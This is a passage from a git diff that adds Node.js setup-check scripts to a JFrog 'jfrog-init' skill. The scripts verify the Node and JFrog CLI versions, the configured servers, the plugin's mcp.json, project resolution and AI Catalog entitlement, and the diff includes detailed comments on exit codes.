non-blocking, for +// the same reason: Steps 6 and 7 call the JPD's REST APIs directly +// with credentials from `jf config`, never through `mcpServers.jfrog`, +// so a broken/missing plugin mcp.json doesn't affect whether those +// checks are accurate. Reported separately via `mcpConfigured`. An +// ambiguous server-id (exit 2, "ask") is the one Step 5 outcome that +// still blocks — every step from here on needs a resolved server-id, +// so there's nothing to skip ahead to. +// +// Step 6 (project) going red (no match / not entitled / ambiguous +// match — exit 1 only) is ALSO non-blocking here — this script makes +// exactly one resolution attempt per invocation; the interactive walk +// (SKILL.md) is what re-asks the user for a different project, capped at +// one retry so it can't loop forever. Whether this is the user's first +// attempt or their last, this script itself has no way to tell the +// difference, so it always reports the gap rather than blocking, via +// `projectResolved`. Exit 3 (jf missing, credentials rejected, or an +// unexpected response shape) is a genuine error, NOT covered by this +// non-blocking treatment — same as Step 5's own exit 2, it still sets +// `overall = 1`. The state-file write still happens (server + JPD +// URL known is reason enough to remember them) — it's passed an empty +// project key, and jfrog-state-file.mjs keeps whatever project was +// already on record rather than erasing it. An ambiguous server-id +// (exit 2, "ask") still blocks, same reasoning as Step 5. +// +// Exit 0 -> Steps 1-4 green (see catalogEntitled / mcpConfigured / +// projectResolved for the three non-blocking gaps) +// Exit 1 -> a check failed / went red / requires action + +import { emit, jfAvailable, jfConfigShow, urlForServer, normalizeJpdUrl } from "./lib/jf.mjs"; +import { commandExists } from "./lib/command.mjs"; +import { resolveJfServer } from "./jfrog-resolve-jf-server.mjs"; +import { detectJfCli } from "./jfrog-detect-jf-cli.mjs"; +import { detectJfConfig } from "./jfrog-detect-jf-config.mjs"; +import { detectServerPing } from "./jfrog-detect-server-ping.mjs"; +import { detectJfrogMcp } from "./jfrog-detect-jfrog-mcp.mjs"; +import { detectProject } from "./jfrog-detect-project.mjs"; +import { detectCatalogRuntime } from "./jfrog-detect-catalog-runtime.mjs"; +import { setStateForServer } from "./jfrog-state-file.mjs"; + +const SERVER_ID = process.argv[2] || ""; +const PROJECT_KEY = process.argv[3] || ""; + +// Step 1 has no script to shell out to (see Step 1 in SKILL.md) — running +// this file already proves Node exists, so only the version and `npx` +// need checking. +function checkNode() { + const major = parseInt(process.versions.node, 10); + if (major < 18) { + emit({ check: "node", status: "red", detail: `Node.js v${process.versions.node} is too old — jfrog-init requires Node >= 18.` }); + return 1; + } + if (!commandExists("npx")) { + emit({ check: "node", status: "red", detail: "npx not on PATH — Node.js install is broken." }); + return 1; + } + emit({ check: "node", status: "green", detail: `Node.js v${process.versions.node}` }); + return 0; +} + +let overall = 0; + +if (checkNode() !== 0) overall = 1; +if (overall === 0 && detectJfCli() !== 0) overall = 1; +if (overall === 0 && detectJfConfig() !== 0) overall = 1; +if (overall === 0 && (await detectServerPing(SERVER_ID)) !== 0) overall = 1; + +// Captured here, before Steps 5-7 can flip `overall` for their own +// blocking sub-cases (ambiguous server-id, no project input, jf missing — +// see each step's comment below) — the state-file write further down +// keys off THIS flag, not the final `overall`, per batch-walk.md: the +// write happens whenever Steps 1-4 are green, regardless of the +// mcpConfigured/projectResolved/catalogEntitled gaps Steps 5-7 report. +const steps1To4Passed = overall === 0; + +let mcpConfigured = true; +if (overall === 0) { + const mcpCode = detectJfrogMcp(SERVER_ID); + if (mcpCode === 2) { + // Ambiguous server-id — not a Step 5 failure, a prerequisite every + // later step also needs; nothing to skip ahead to. + overall = 1; + } else if (mcpCode !== 0) { + mcpConfigured = false; + } +} + +let projectResult = null; +// Defaults to false, not true — Step 6 not having run yet (or having +// errored/asked rather than resolved) must never be read as "resolved". +// A default of true here previously meant that if Step 6 hit exit 2 or 3 +// below, `projectResolved` stayed at its initial value instead of being +// set false, so the write section further down (before this fix, gated +// on the same `overall === 0` this block also guards) could fall back to +// PROJECT_KEY — the caller's raw, unvalidated input — for a project Step +// 6 never actually validated. +let projectResolved = false; +if (overall === 0) { + projectResult = await detectProject(SERVER_ID, PROJECT_KEY); + if (projectResult.exitCode === 2 || projectResult.exitCode === 3) { + // Exit 2 (ask): no input passed, or the server-id itself is + // ambiguous — nothing to report a gap about yet, the caller just + // needs to provide one. Exit 3 (error): jf missing, credentials + // rejected, or an unexpected response shape — a genuine failure, NOT + // subject to the retry cap (see SKILL.md Step 6 / flow-diagram.md's + // STOPCREDS), so it must block same as any other real error, not + // silently collapse into "no project resolved yet". + overall = 1; + } else if (projectResult.exitCode === 0) { + projectResolved = true; + } + // Exit 1 (red: ambiguous match, 404, 403) is the retryable, non-blocking + // gap — projectResolved stays false, same as the initial default. +} + +let catalogEntitled = true; +let catalogReason; +if (overall === 0) { + const catalogCode = await detectCatalogRuntime(SERVER_ID); + if (catalogCode === 4) { + // Reachable but not entitled — a permissions gap for the user's + // admin to fix, not a broken setup; doesn't block the walk. + catalogEntitled = false; + catalogReason = "not_entitled"; + } else if (catalogCode === 1) { + // Not hosted at this JPD / unreachable / 5xx — same non-blocking + // treatment as "not entitled": Steps 1-4 are this skill's core + // prerequisites, and the AI Catalog being absent or unreachable says + // nothing about whether those actually work. Distinguished from + // "not_entitled" via `catalogReason` so the caller can phrase the + // final summary accurately instead of always saying "not entitled". + catalogEntitled = false; + catalogReason = "unreachable"; + } else if (catalogCode !== 0) { + // Exit 2 (ask: ambiguous server-id) and exit 3 (error: jf missing, + // credentials rejected, unexpected response shape) are genuine + // stops, not subject to this non-blocking treatment. + overall = 1; + } +} + +// Gated on steps1To4Passed, not the final `overall` — a Step 5/6/7 +// blocking sub-case (ambiguous server-id, no project input, jf missing) +// can flip `overall` to 1 without undoing the fact that Steps 1-4 already +// passed, and the server + JPD URL are worth remembering on their own +// regardless (see batch-walk.md and SKILL.md's Final Summary section). +if (steps1To4Passed) { + if (jfAvailable()) { + const configList = jfConfigShow(); + const resolvedServerId = resolveJfServer(SERVER_ID, configList); + const resolvedJpdUrl = normalizeJpdUrl(urlForServer(configList, resolvedServerId)); + + // Only pass a project key that was actually validated to the state + // file — PROJECT_KEY itself can be non-empty (the caller's raw, + // unvalidated input) even when projectResolved is false; passing "" + // in that case tells jfrog-state-file.mjs to leave any previously + // recorded project alone rather than overwrite it with an unverified + // value. + let resolvedProjectKey = ""; + if (projectResolved) { + resolvedProjectKey = projectResult?.resolvedKey || PROJECT_KEY; + } + + if (resolvedServerId && resolvedJpdUrl) { + // Best-effort: the state file is a "reuse last project?" hint, not a + // source of truth (see jfrog-state-file.mjs) — a write failure here + // doesn't undo the fact that Steps 1-4 above passed, so it's + // surfaced as a warning rather than flipping the summary to red. + // Written even when resolvedProjectKey is "" (project not resolved + // this walk) — jfrog-state-file.mjs then keeps whatever project was + // already on record instead of erasing it, and callers can always + // tell a project is missing here from `projectResolved` above. + const stateResult = setStateForServer(resolvedServerId, resolvedJpdUrl, resolvedProjectKey); + if (!stateResult.ok) { + console.error(`warning: failed to save setup state (${stateResult.error}) — next walk won't offer to reuse this project`); + } + } + } +} + +if (overall === 0) { + console.log( + JSON.stringify({ + summary: "green", + catalogEntitled, + ...(catalogReason ? { catalogReason } : {}), + mcpConfigured, + projectResolved, + }) + ); +} else { + console.log(JSON.stringify({ summary: "red" })); +} + +// Sets process.exitCode rather than calling process.exit() — same reason +// every detector this file imports does: a forced exit can truncate the +// summary line's stdout write if it's still draining through a pipe, and +// this line is the one thing a caller of this script actually reads. +process.exitCode = overall; diff --git a/skills/jfrog-init/scripts/jfrog-detect-catalog-runtime.mjs b/skills/jfrog-init/scripts/jfrog-detect-catalog-runtime.mjs new file mode 100755 index 0000000..066124d --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-catalog-runtime.mjs @@ -0,0 +1,180 @@ +#!/usr/bin/env node +// AI Catalog readiness check for the current user + JPD, against +// /ml/core/api/v1/mcp-registry/ml-projects?pageSize=1 — this skill +// does NOT read a separate JFROG_PLATFORM_URL / JFROG_URL env var; the +// source of truth is what `jf` itself is configured with. +// +// Two sub-checks, both must pass (mirrors jfrog-detect-server-ping.mjs's +// reachability/credentials split): +// Part A — anonymous: proves the endpoint is deployed at this JPD at +// all, independent of this user's entitlement. 2xx/401/403/405/406 = +// up; 404 / connection failure = red, and Part B is skipped. +// Part B — authenticated, with the bearer token (or user+password) +// extracted from `jf config export` — same credential source `jf` +// itself uses. The token exists in memory for the duration of one +// fetch call and is never echoed, logged, or written to disk. NO +// env-var fallback. 2xx = user is entitled to read the AI Catalog. +// +// Splitting reachability from entitlement produces two distinct outcomes: +// Part A red = "this JPD doesn't host AI Catalog" (blocking); Part B +// 401/403 = "catalog is up but your user isn't entitled" (non-blocking — +// see status "not_entitled" / exit 4 below). +// +// Idempotent, read-only, zero mutation. Emits one JSON line. +// +// Usage: node jfrog-detect-catalog-runtime.mjs [server-id] +// +// Exit 0 -> green (catalog deployed AND user entitled) +// Exit 1 -> red (no jf servers configured, no credentials, JPD +// doesn't host AI Catalog, unreachable, or a 5xx — +// mirrors jfrog-detect-server-ping.mjs's treatment +// of the same "backend is erroring" code class). +// This script itself still reports it as "red" — +// but jfrog-detect-all.mjs, the one caller that +// orchestrates the full walk, treats this exit +// code as NON-BLOCKING same as exit 4 below (see +// that file's header comment and +// references/catalog-runtime-branches.md): +// Steps 1-4 don't depend on the AI Catalog +// existing at all. +// Exit 2 -> ask (multiple servers configured, none resolvable — +// caller must prompt the user and re-invoke with +// the picked server-id) +// Exit 3 -> error (jf missing, credentials rejected with a 401, or a +// non-5xx unexpected HTTP code) +// Exit 4 -> not_entitled (catalog reachable, but the user isn't entitled +// — NON-BLOCKING: the rest of the setup is +// unaffected; this is a permissions gap for the +// user's admin to fix, not a broken setup) + +import { emit, isMainModule, resolveCreds, urlForServer, normalizeJpdUrl, authedFetch, anonymousFetchStatus, NETWORK_UNREACHABLE_HINT } from "./lib/jf.mjs"; +import { resolveServerOrEmit } from "./jfrog-resolve-jf-server.mjs"; + +const CATALOG_PATH = "/ml/core/api/v1/mcp-registry/ml-projects?pageSize=1"; + +// Shared by both Part A (anonymous) and Part B (authenticated) below — each +// probe can independently come back "000" (connection failed) or "404" +// (this JPD doesn't host the AI Catalog), and both cases must report the +// exact same wording regardless of which probe hit it. +function emitUnreachable(endpoint) { + emit({ check: "catalog", status: "red", detail: `catalog unreachable at ${endpoint}: connection failed${NETWORK_UNREACHABLE_HINT}` }); + return 1; +} +function emitNotHosted(endpoint) { + emit({ check: "catalog", status: "red", detail: `catalog endpoint returned 404 at ${endpoint} — this JPD may not host the AI Catalog` }); + return 1; +} +// A 5xx means the backend itself is erroring, same as a connection failure +// from the caller's perspective — treat it as "red", not "error", so it +// matches jfrog-detect-server-ping.mjs's classification of the same code +// class rather than being misreported as a config/environment problem. +function emitServerError(endpoint, httpCode) { + emit({ check: "catalog", status: "red", detail: `catalog probe returned HTTP ${httpCode} (server error) at ${endpoint}` }); + return 1; +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +// +// Every branch below emits exactly once and returns the exit code rather +// than calling process.exit() — a forced exit can truncate the JSON line +// (e.g. the "ask" payload's candidates list) if stdout is still draining +// through a pipe. +export async function detectCatalogRuntime(serverIdArg) { + const resolved = resolveServerOrEmit("catalog", serverIdArg, { status: "error", exitCode: 3 }); + if (resolved.exitCode !== null) { + return resolved.exitCode; + } + const { serverId, configList } = resolved; + + const url = normalizeJpdUrl(urlForServer(configList, serverId)); + if (!url) { + emit({ check: "catalog", status: "red", detail: `no url found in jf config for server-id=${serverId}` }); + return 1; + } + const endpoint = `${url}${CATALOG_PATH}`; + + // ---------- Part A: anonymous reachability ---------- + const anonCode = await anonymousFetchStatus(endpoint); + + if (anonCode === "000") { + return emitUnreachable(endpoint); + } + if (anonCode === "404") { + return emitNotHosted(endpoint); + } + if (/^5/.test(anonCode)) { + return emitServerError(endpoint, anonCode); + } + if (!/^2/.test(anonCode) && !/^3/.test(anonCode) && !["401", "403", "405", "406"].includes(anonCode)) { + emit({ check: "catalog", status: "error", detail: `catalog probe returned unexpected HTTP ${anonCode} at ${endpoint}` }); + return 3; + } + + // ---------- Part B: authenticated entitlement (token from `jf config`) ---------- + const creds = resolveCreds(serverId); + + if (!creds) { + emit({ + check: "catalog", + status: "red", + detail: "cannot authenticate to AI Catalog: no access token or user+password found in jf config. Re-run `jf config add --interactive`.", + }); + return 1; + } + + const { code, body } = await authedFetch(creds, CATALOG_PATH); + const httpCode = code === 0 ? "000" : String(code); + + // A 2xx status alone isn't proof this is really the AI Catalog endpoint — + // a captive portal or misrouted network can also answer 200. Require the + // expected shape (an object with a `projectKeys` array) too. + const looksLikeCatalog = body && typeof body === "object" && Array.isArray(body.projectKeys); + + if (httpCode.startsWith("2") && looksLikeCatalog) { + emit({ check: "catalog", status: "green", detail: `catalog reachable, user entitled (HTTP ${httpCode})` }); + return 0; + } + if (httpCode.startsWith("2") && !looksLikeCatalog) { + emit({ check: "catalog", status: "error", detail: `got HTTP ${httpCode} from ${endpoint} but the response wasn't the expected AI Catalog shape — this may not be the JPD's real endpoint (captive portal / proxy?)` }); + return 3; + } + if (httpCode === "000") { + return emitUnreachable(endpoint); + } + if (httpCode === "401") { + // Unlike 403, a 401 means the credentials themselves were rejected — + // this says nothing about entitlement, so it must not be folded into + // the non-blocking "not_entitled" outcome below. + emit({ + check: "catalog", + status: "error", + detail: `cannot authenticate to AI Catalog: /access rejected the credentials in jf config (HTTP 401). Re-run \`jf config add --interactive\`.`, + }); + return 3; + } + if (httpCode === "403") { + emit({ + check: "catalog", + status: "not_entitled", + detail: `catalog reachable but your user is not entitled to read the AI Catalog (HTTP ${httpCode}). Contact your JFrog admin and ask them to grant read access to /ml/core/api/v1/mcp-registry (typically the "AI Catalog Read" / "Application Admin" role on this JPD). This does not block the rest of your JFrog setup.`, + }); + return 4; + } + if (httpCode === "404") { + return emitNotHosted(endpoint); + } + if (/^5/.test(httpCode)) { + return emitServerError(endpoint, httpCode); + } + + emit({ check: "catalog", status: "error", detail: `catalog probe returned unexpected HTTP ${httpCode} at ${endpoint}` }); + return 3; +} + +if (isMainModule(import.meta.url)) { + process.exitCode = await detectCatalogRuntime(process.argv[2]); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-jf-cli.mjs b/skills/jfrog-init/scripts/jfrog-detect-jf-cli.mjs new file mode 100755 index 0000000..7352bc5 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-jf-cli.mjs @@ -0,0 +1,114 @@ +#!/usr/bin/env node +// Detects whether the JFrog CLI (`jf`) is on PATH. Node's own presence is +// checked one step earlier, inline in jfrog-detect-all.mjs (running that +// .mjs file already proves Node exists, so it only needs to check the +// version). Everything downstream of that gate can safely assume Node. +// +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout, +// with `reason` set on every red result so callers can tell "missing" +// apart from "outdated" without string-sniffing `detail`. +// +// Exit 0 -> green (jf found on PATH and >= MIN_JF_VERSION) +// Exit 1 -> red (reason: "missing" — jf not found on PATH — or +// reason: "broken" — jf is on PATH but hung/failed to +// run — or reason: "outdated" — found, but below +// MIN_JF_VERSION) + +import { emit, isMainModule, runJf, seedJfAvailable } from "./lib/jf.mjs"; + +// Required by Agent Plugins Repositories (Step 7's AI Catalog calls) — +// see docs.jfrog.com/artifactory/docs/agent-plugins-repositories +// ("Configure the JFrog CLI"). +export const MIN_JF_VERSION = "2.106.0"; + +function parseVersionParts(str) { + const m = str.match(/(\d+)\.(\d+)\.(\d+)/); + return m ? [Number(m[1]), Number(m[2]), Number(m[3])] : null; +} + +// Plain X.Y.Z numeric comparison — jf CLI versions never carry a +// pre-release suffix on a stable release, so nothing fancier than this +// is needed. Unparseable input fails closed (treated as older, i.e. +// failing the minimum-version check) — a version string this script +// doesn't recognize is exactly the case where it must NOT silently wave +// an incompatible `jf` through as green. +// +// Exported so jfrog-install-jf-cli.mjs can reuse the exact same +// comparison to decide whether an already-present `jf` still needs +// updating — see that file's currentJfIsUpToDate(). +export function isOlderThan(version, minVersion) { + const a = parseVersionParts(version); + const b = parseVersionParts(minVersion); + if (!a || !b) return true; + for (let i = 0; i < 3; i++) { + if (a[i] !== b[i]) return a[i] < b[i]; + } + return false; +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +// +// One `jf --version` spawn does double duty as both the availability +// check and the version string for the detail field — calling +// jfAvailable() first and then running `--version` again to capture its +// output would spawn the same subprocess twice on every green-path run. +export function detectJfCli() { + try { + const version = runJf(["--version"]).trim().split("\n")[0] || "jf found on PATH"; + // Seed lib/jf.mjs's shared jfAvailable() cache with this same result — + // see seedJfAvailable()'s doc comment for why: it stops a later + // jfAvailable() call elsewhere in the same walk from spawning `jf` + // again and risking a self-contradictory answer. + seedJfAvailable(true); + if (isOlderThan(version, MIN_JF_VERSION)) { + emit({ + check: "jf-cli", + status: "red", + reason: "outdated", + // `currentVersion` holds just the raw `jf --version` string, with + // nothing else in it — jf-cli-update-prompt.md fills its + // user-facing placeholder from this field specifically + // because `detail` (below) also carries the minimum-version number, + // which that same prompt is required to never surface to the user. + currentVersion: version, + detail: `${version} — jfrog-init requires JFrog CLI >= ${MIN_JF_VERSION} (Agent Plugins Repositories requirement)`, + }); + return 1; + } + emit({ check: "jf-cli", status: "green", detail: version }); + return 0; + } catch (err) { + // `reason` distinguishes "not on PATH at all" from "on PATH but + // hung/corrupted" — the two route to different user-facing wording + // (see jf-cli-install-prompt.md): "missing" says jf isn't installed, + // which is simply false for a hung/corrupted binary that's sitting + // right there on PATH. + // execFileSync's thrown error does NOT set `.killed` on a timeout + // (that's a `ChildProcess` instance property, not part of the sync + // error shape) — the reliable signal is `.code === "ETIMEDOUT"`, + // which Node sets itself when the timeout fires and it kills the + // child. Verified directly: a stub that sleeps past the timeout + // throws `{ code: "ETIMEDOUT", signal: "SIGTERM", killed: undefined }`. + const timedOut = err && err.code === "ETIMEDOUT"; + const notFound = err && err.code === "ENOENT"; + const reason = notFound ? "missing" : "broken"; + const detail = notFound + ? "JFrog CLI (jf) is not installed." + : timedOut + ? "JFrog CLI (jf) is on PATH but did not respond in time (may be corrupted or hung) — reinstalling should fix this." + : `JFrog CLI (jf) is on PATH but failed to run (${(err && err.message) || "unknown error"}) — reinstalling should fix this.`; + emit({ check: "jf-cli", status: "red", reason, detail }); + return 1; + } +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate the JSON line's stdout write if it's still draining +// through a pipe. +if (isMainModule(import.meta.url)) { + process.exitCode = detectJfCli(); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-jf-config.mjs b/skills/jfrog-init/scripts/jfrog-detect-jf-config.mjs new file mode 100755 index 0000000..174032a --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-jf-config.mjs @@ -0,0 +1,37 @@ +#!/usr/bin/env node +// Detects whether the JFrog CLI has a configured server. Reads ONLY the +// masked `jf config show` output — never `jf config export` (which would +// emit an access token), so this script never sees or logs a token. +// +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout. +// +// Exit 0 -> green (at least one server configured) +// Exit 1 -> red (jf missing, or no server configured) + +import { emit, isMainModule, jfAvailable, jfConfigShow, describeJfUnavailable } from "./lib/jf.mjs"; + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +export function detectJfConfig() { + if (!jfAvailable()) { + emit({ check: "jf-config", status: "red", detail: describeJfUnavailable() }); + return 1; + } + const servers = jfConfigShow(); + if (servers.length > 0) { + emit({ check: "jf-config", status: "green", detail: `${servers.length} server(s) configured` }); + return 0; + } + emit({ check: "jf-config", status: "red", detail: "no jf server configured" }); + return 1; +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate the JSON line's stdout write if it's still draining +// through a pipe. +if (isMainModule(import.meta.url)) { + process.exitCode = detectJfConfig(); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-jfrog-mcp.mjs b/skills/jfrog-init/scripts/jfrog-detect-jfrog-mcp.mjs new file mode 100755 index 0000000..35f1351 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-jfrog-mcp.mjs @@ -0,0 +1,144 @@ +#!/usr/bin/env node +// Verifies the JFrog PLUGIN'S OWN mcp.json (per harness) exists at its +// installed path AND contains a jfrog entry (under mcpServers.jfrog on every +// harness but Codex, which has a bare top-level jfrog key). This file is +// owned by the plugin — we NEVER write to it, with one exception: +// automatic placeholder substitution (see jfrog-substitute-mcp-placeholders.mjs). +// If it's missing, malformed, or lacks the jfrog entry, the correct fix +// is "reinstall or update the JFrog plugin". +// +// NO endpoint reachability probe — this is a pure "is the plugin +// configured?" check. The walk's other network checks already prove the +// JPD is reachable, and a dead endpoint surfaces immediately the first +// time the user invokes the MCP. +// +// Idempotent, read-only, zero mutation (aside from the placeholder fix). +// +// Usage: node jfrog-detect-jfrog-mcp.mjs [server-id] +// +// [server-id] is forwarded as-is to jfrog-substitute-mcp-placeholders.mjs +// so the placeholder fix reuses the same server the caller already +// resolved (e.g. in Step 4), instead of re-resolving from scratch. +// +// Exit 0 -> green (plugin entry present) +// Exit 1 -> red (plugin file missing/empty/not installed, or missing jfrog entry) +// Exit 2 -> ask (placeholder present but the jf server-id is ambiguous — +// caller must prompt from `candidates` and re-invoke) +// Exit 3 -> error (harness could not be detected, plugin mcp.json is invalid +// JSON, or the file could not be read) + +import { readFileSync, statSync } from "node:fs"; +import { emit as emitJf, hasMcpPlaceholder, isMainModule, jfrogMcpUrl } from "./lib/jf.mjs"; +import { resolveMcpConfig } from "./jfrog-resolve-mcp-config.mjs"; +import { substituteMcpPlaceholders } from "./jfrog-substitute-mcp-placeholders.mjs"; + +function emit(status, file, detail, extra = {}) { + emitJf({ check: "jfrog-mcp", status, file, detail, ...extra }); +} + +// Surfaces the substituter's own failure detail (ambiguous server w/ +// candidates, no url set in jf config, or a read/write error) instead of +// one hardcoded message, so the user is pointed at the actual cause +// instead of always being told to check the JPD URL even when the real +// issue is an ambiguous server-id. +function substituterFailureDetail(result) { + return Array.isArray(result.candidates) && result.candidates.length + ? `${result.detail} (candidates: ${result.candidates.join(", ")})` + : result.detail; +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +// +// Returns the exit code rather than calling process.exit() — a forced +// exit can truncate the JSON line's stdout write if it's still draining +// through a pipe. +export function detectJfrogMcp(serverIdArg) { + const SERVER_ID = serverIdArg || ""; + const resolved = resolveMcpConfig(); + if (!resolved.path) { + // code 2 = plugin file not installed on disk ("reinstall the plugin"); + // code 1 = harness could not be detected. + const status = resolved.code === 2 ? "red" : "error"; + emit(status, "", resolved.error.replace(/\s+/g, " ").replace(/"/g, "'")); + return resolved.code === 2 ? 1 : 3; + } + + const target = resolved.path; + + // A single guarded stat instead of existsSync()+statSync() — two + // separate calls leave a TOCTOU window where the file can vanish + // between them (plugin reinstall, concurrent placeholder-substitution + // rename) and throw an uncaught ENOENT that would crash the whole walk. + let size; + try { + size = statSync(target).size; + } catch { + size = 0; + } + if (size === 0) { + emit("red", target, "plugin mcp.json is missing or empty — reinstall or update the JFrog plugin"); + return 1; + } + + let raw; + try { + raw = readFileSync(target, "utf8"); + } catch (err) { + emit("error", target, `could not read ${target}: ${err.message}`); + return 3; + } + let parsed; + try { + parsed = JSON.parse(raw); + } catch { + emit("error", target, "plugin mcp.json is not valid JSON — reinstall or update the JFrog plugin"); + return 3; + } + + // Substitute a placeholder in the jfrog entry's own url with the real + // JPD URL from `jf config` — checked there specifically, not the raw + // file text, so an unrelated MCP entry can't trigger it. + const preSubstitutionUrl = jfrogMcpUrl(parsed); + if (typeof preSubstitutionUrl === "string" && hasMcpPlaceholder(preSubstitutionUrl)) { + const result = substituteMcpPlaceholders(target, SERVER_ID); + if (result.exitCode === 2) { + // Ambiguous jf server-id — pass the structured candidates through + // instead of collapsing to red, so the caller can re-prompt the + // same way it would for any other ambiguous-server case. + emit("ask", target, result.detail, { unresolved: "server", candidates: result.candidates }); + return 2; + } + if (result.exitCode !== 0) { + // Preserve the substituter's own red/error distinction (exit 1 vs 3) + // instead of collapsing both into red — Step 5 in SKILL.md relies on + // that distinction to pick the right Final Summary wording. + const status = result.status === "error" ? "error" : "red"; + emit(status, target, `plugin mcp.json contains a JFROG_PLATFORM_URL placeholder and automatic substitution failed — ${substituterFailureDetail(result)}`); + return status === "error" ? 3 : 1; + } + try { + parsed = JSON.parse(readFileSync(target, "utf8")); + } catch (err) { + emit("error", target, `substitution succeeded but re-reading ${target} failed: ${err.message}`); + return 3; + } + } + + const url = jfrogMcpUrl(parsed); + const hasUrl = typeof url === "string" && url.trim() !== ""; + if (!hasUrl) { + emit("red", target, "plugin mcp.json has no valid jfrog entry (missing or empty url) — reinstall or update the JFrog plugin"); + return 1; + } + + emit("green", target, "plugin mcp.json present with a jfrog entry"); + return 0; +} + +if (isMainModule(import.meta.url)) { + process.exitCode = detectJfrogMcp(process.argv[2]); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-project.mjs b/skills/jfrog-init/scripts/jfrog-detect-project.mjs new file mode 100755 index 0000000..55469d9 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-project.mjs @@ -0,0 +1,232 @@ +#!/usr/bin/env node +// Resolves and validates the project key for the walk. The picked value is +// NEVER persisted (no env var, no shell profile) — the caller passes it as +// a positional argument on the re-invocation and threads it forward. +// +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout. +// +// Why /access/... and not `jf rt curl`: `jf rt curl ` rewrites every +// path to `/artifactory/`, which 404s for non-Artifactory +// endpoints. The Projects endpoint (GetProjectsList — +// https://docs.jfrog.com/projects/reference/getprojectslist) lives under +// /access/, off the JPD root, so credentials are resolved via `jf config +// export` and a direct fetch is issued instead. +// +// Resolution — matches BOTH project_key and display_name (case- +// insensitive; see lib/projects.mjs for the exact tier order). Never +// guesses, never assumes "default", never invents a value. +// +// The enumeration call is cached per server for a few minutes (see +// lib/project-cache.mjs) — the caller re-invokes this script once per +// user attempt within a single walk, and matching is offline anyway, +// so only the first attempt actually hits the network. +// +// Usage: node jfrog-detect-project.mjs [server-id] [project-input] +// +// Every non-green result also carries `candidatesWithNames` (up to the +// full enumerated project list, `{key, displayName}`, sorted) whenever +// enumeration succeeded, so the caller can offer the first two as an +// interactive pick-one-or-type-your-own prompt instead of demanding the +// user type a key or name from memory. A confirmed-not-found input (404) +// additionally carries `similarProjects` — up to 2 "did you mean...?" +// suggestions (see lib/projects.mjs) — when the typed input looks like a +// near-miss of an existing project (e.g. "widgets20" when "widgets2" exists). +// +// Exit 0 -> green (project exists and is accessible; resolved canonical key in detail) +// Exit 1 -> red (project does not exist, no access, ambiguous match, or a +// 5xx from the existence probe — the backend is erroring +// — or the probe could not connect at all. The last two +// are indistinguishable from here, so they share a +// classification, the same way +// jfrog-detect-catalog-runtime.mjs treats its own "000".) +// Exit 2 -> ask (no input passed, or multiple jf servers configured with none +// resolvable — caller must prompt the user and re-invoke) +// Exit 3 -> error (jf missing, credentials unavailable/rejected, an +// unexpected non-5xx HTTP code, or a 2xx response that +// wasn't shaped like the real GetProject endpoint) + +import { emit, isMainModule, resolveCreds, authedFetch, NETWORK_UNREACHABLE_HINT } from "./lib/jf.mjs"; +import { resolveServerOrEmit } from "./jfrog-resolve-jf-server.mjs"; +import { resolveProject, projectsWithNames, findSimilarProjects, capCandidatesForDisplay } from "./lib/projects.mjs"; +import { readCachedProjectList, writeCachedProjectList } from "./lib/project-cache.mjs"; + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. Returns { exitCode, resolvedKey } — resolvedKey is set on the +// green path so the caller can read it directly instead of re-parsing +// the emitted JSON line. The CLI entry point below is a thin wrapper. +// +// Every branch below emits exactly once and returns the exit code rather +// than calling process.exit() — a forced exit can truncate the JSON line +// if stdout is still draining through a pipe. +export async function detectProject(serverIdArg, projectInputArg) { + const resolved = resolveServerOrEmit("project", serverIdArg, { status: "error", exitCode: 3 }); + if (resolved.exitCode !== null) { + return { exitCode: resolved.exitCode }; + } + const { serverId } = resolved; + const projectInput = projectInputArg || ""; + + const creds = resolveCreds(serverId); + if (!creds) { + emit({ + check: "project", + status: "error", + detail: "cannot authenticate to /access: no access token or user+password found in jf config. Re-run `jf config add --interactive`.", + }); + return { exitCode: 3 }; + } + + const rawGet = (path) => authedFetch(creds, path); + + // ---------- Fetch project list first (needed for every branch) ---------- + // Cached per server for a short TTL (lib/project-cache.mjs): the + // interactive picker re-invokes this script once per user attempt within + // the same walk, and re-enumerating on every typed guess is wasted + // network traffic — matching/similarity search below already runs + // offline against whatever list we have in memory. + let list; + const cachedBody = readCachedProjectList(serverId, creds); + if (cachedBody !== null) { + list = { code: 200, body: cachedBody }; + } else { + list = await rawGet("/access/api/v1/projects"); + if (list.code >= 200 && list.code < 300) writeCachedProjectList(serverId, creds, list.body); + } 